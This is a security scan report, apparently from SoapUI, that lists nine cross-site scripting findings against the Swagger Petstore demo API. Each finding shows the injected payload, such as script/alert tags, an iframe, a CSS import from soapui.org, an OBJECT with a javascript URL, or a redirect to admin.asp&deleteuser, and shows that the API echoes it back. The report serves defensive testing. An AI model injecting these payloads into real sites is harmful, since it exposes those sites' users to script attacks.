<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.status</td><td><pre>{ "id": 0, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "string" } ], "status": "&lt;iframe src=http://soapui.org/scriptlet.html &lt;" }</pre></td></tr> </table>	Name	Value	Request \$.status	<pre>{ "id": 0, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "string" } ], "status": "&lt;iframe src=http://soapui.org/scriptlet.html &lt;" }</pre>
Name	Value				
Request \$.status	<pre>{ "id": 0, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "string" } ], "status": "&lt;iframe src=http://soapui.org/scriptlet.html &lt;" }</pre>				
<b>Response</b>	<b>Content-type:</b> application/json <b>Content length:</b> 193 <b>Full response:</b> <pre>{ "id": 9216678377732944043, "category": { "id": 0, "name": "string" }, "name": "doggie", "photoUrls": [ "string" ], "tags": [ { "id": 0, "name": "string" } ], "status": "&lt;iframe src=http://soapui.org/scriptlet.html &lt;" }</pre>				
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request ' <code>&lt;iframe src=http://soa...</code> ' is exposed in response. Possibility for XSS script attack in: POST				

<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.status</code> will not be echoed back in the response
<b>CWE-ID</b>	CWE-79
<b>Issue Number</b>	#97

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.status</td><td>{ "id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"&lt;SCRIPT&gt;a=/XSS/alert(a.source)&lt;/SCRIPT&gt;"}</td></tr> </table>	Name	Value	Request \$.status	{ "id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>"}
Name	Value				
Request \$.status	{ "id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>"}				
<b>Response</b>	<p><b>Content-type:</b> application/json</p> <p><b>Content length:</b> 186</p> <p><b>Full response:</b></p> <pre>{ "id":9216678377732944044,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"&lt;SCRIPT&gt;a=/XSS/alert(a.source)&lt;/SCRIPT&gt;" }</pre>				
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request ' <code>&lt;SCRIPT&gt;a=/XSS/alert(a...</code> ' is exposed in response. Possibility for XSS script attack in: POST				
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.status</code> will not be echoed back in the response				
<b>CWE-ID</b>	CWE-79				
<b>Issue Number</b>	#98				

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.status</td><td>{ "id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"\\";alert('XSS');//"} }</td></tr> </table>	Name	Value	Request \$.status	{ "id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"\\";alert('XSS');//"} }
Name	Value				
Request \$.status	{ "id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"\\";alert('XSS');//"} }				
<b>Response</b>	<p><b>Content-type:</b> application/json</p> <p><b>Content length:</b> 167</p> <p><b>Full response:</b></p> <pre>{ "id":9216678377732944045,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"\\";alert('XSS');//"} }</pre>				
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request <code>"\";alert('XSS');//"</code> is exposed in response. Possibility for XSS script attack in: POST				
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.status</code> will not be echoed back in the response				
<b>CWE-ID</b>	CWE-79				
<b>Issue Number</b>	#99				

Scan	Cross Site Scripting				
Severity	ERROR				
Endpoint	https://petstore.swagger.io/v2/pet				
Request	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
Test Step	POST				
Modified Parameters	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.status</td><td>{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"&lt;BODY ONLOAD=alert('XSS')&gt;"}</td></tr> </table>	Name	Value	Request \$.status	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<BODY ONLOAD=alert('XSS')>"}
Name	Value				
Request \$.status	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<BODY ONLOAD=alert('XSS')>"}				
Response	<p><b>Content-type:</b> application/json</p> <p><b>Content length:</b> 173</p> <p><b>Full response:</b></p> <pre>{ "id":9216678377732944049,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"&lt;BODY ONLOAD=alert('XSS')&gt;" }</pre>				
Alerts	Cross Site Scripting Detection: Content that is sent in request '<BODY ONLOAD=alert('XS...' is exposed in response. Possibility for XSS script attack in: POST				
Action Points	You should ensure that HTML tags passed into the parameter <code>Request \$.status</code> will not be echoed back in the response				
CWE-ID	CWE-79				
Issue Number	#100				

Scan	Cross Site Scripting				
Severity	ERROR				
Endpoint	https://petstore.swagger.io/v2/pet				
Request	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
Test Step	POST				
Modified Parameters	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.status</td><td>{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"&lt;STYLE&gt;@import'http://soapui.org/xss.css';&lt;/STYLE&gt;"}</td></tr> </table>	Name	Value	Request \$.status	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<STYLE>@import'http://soapui.org/xss.css';</STYLE>"}
Name	Value				
Request \$.status	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<STYLE>@import'http://soapui.org/xss.css';</STYLE>"}				
Response	<p><b>Content-type:</b> application/json</p> <p><b>Content length:</b> 197</p> <p><b>Full response:</b></p> <pre>{ "id":9216678377732944057,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"&lt;STYLE&gt;@import'http://soapui.org/xss.css';&lt;/STYLE&gt;" }</pre>				
Alerts	Cross Site Scripting Detection: Content that is sent in request '<STYLE>@import'http://...' is exposed in response. Possibility for XSS script attack in: POST				
Action Points	You should ensure that HTML tags passed into the parameter <code>Request \$.status</code> will not be echoed back in the response				
CWE-ID	CWE-79				
Issue Number	#101				

Scan	Cross Site Scripting
Severity	ERROR
Endpoint	https://petstore.swagger.io/v2/pet
Request	POST https://petstore.swagger.io/v2/pet HTTP/1.1
Test Step	POST

Modified Parameters	Name	Value
	Request \$.status	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"ï¿½scriptï¿½alert(ï¿½XSSï¿½)ï¿½/scriptï¿½"}
Response	<b>Content-type:</b> application/json <b>Content length:</b> 188 <b>Full response:</b> {"id":9216678377732944065,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"ï¿½scriptï¿½alert(ï¿½XSSï¿½)ï¿½/scriptï¿½"}	
Alerts	Cross Site Scripting Detection: Content that is sent in request 'ï¿½scriptï¿½alert(ï¿½X... ' is exposed in response. Possibility for XSS script attack in: POST	
Action Points	You should ensure that HTML tags passed into the parameter Request \$.status will not be echoed back in the response	
CWE-ID	CWE-79	
Issue Number	#102	

Scan	Cross Site Scripting	
Severity	ERROR	
Endpoint	https://petstore.swagger.io/v2/pet	
Request	POST https://petstore.swagger.io/v2/pet HTTP/1.1	
Test Step	POST	
Modified Parameters	Name	Value
	Request \$.status	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]-->"}
Response	<b>Content-type:</b> application/json <b>Content length:</b> 207 <b>Full response:</b> {"id":9216678377732944084,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]-->" }	
Alerts	Cross Site Scripting Detection: Content that is sent in request '<!--[if gte IE 4]><SCR... ' is exposed in response. Possibility for XSS script attack in: POST	
Action Points	You should ensure that HTML tags passed into the parameter Request \$.status will not be echoed back in the response	
CWE-ID	CWE-79	
Issue Number	#103	

Scan	Cross Site Scripting	
Severity	ERROR	
Endpoint	https://petstore.swagger.io/v2/pet	
Request	POST https://petstore.swagger.io/v2/pet HTTP/1.1	
Test Step	POST	
Modified Parameters	Name	Value
	Request \$.status	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>"}
Response		



	<b>Content-type:</b> application/json <b>Content length:</b> 261 <b>Full response:</b> { "id":9216678377732944087,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>" }
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request '<OBJECT classid=clsid:... ' is exposed in response. Possibility for XSS script attack in: POST
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.status</code> will not be echoed back in the response
<b>CWE-ID</b>	CWE-79
<b>Issue Number</b>	#104

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table><tr><th>Name</th><th>Value</th></tr><tr><td>Request \$.status</td><td>{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"Redirect 302 /a.jpg http://soapui.org/admin.asp&amp;deleteuser"}</td></tr></table>	Name	Value	Request \$.status	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"Redirect 302 /a.jpg http://soapui.org/admin.asp&deleteuser"}
Name	Value				
Request \$.status	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"Redirect 302 /a.jpg http://soapui.org/admin.asp&deleteuser"}				
<b>Response</b>	<b>Content-type:</b> application/json <b>Content length:</b> 205 <b>Full response:</b> { "id":9216678377732944097,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"Redirect 302 /a.jpg http://soapui.org/admin.asp&deleteuser" }				
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request 'Redirect 302 /a.jpg ht...' is exposed in response. Possibility for XSS script attack in: POST				
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.status</code> will not be echoed back in the response				
<b>CWE-ID</b>	CWE-79				
<b>Issue Number</b>	#105				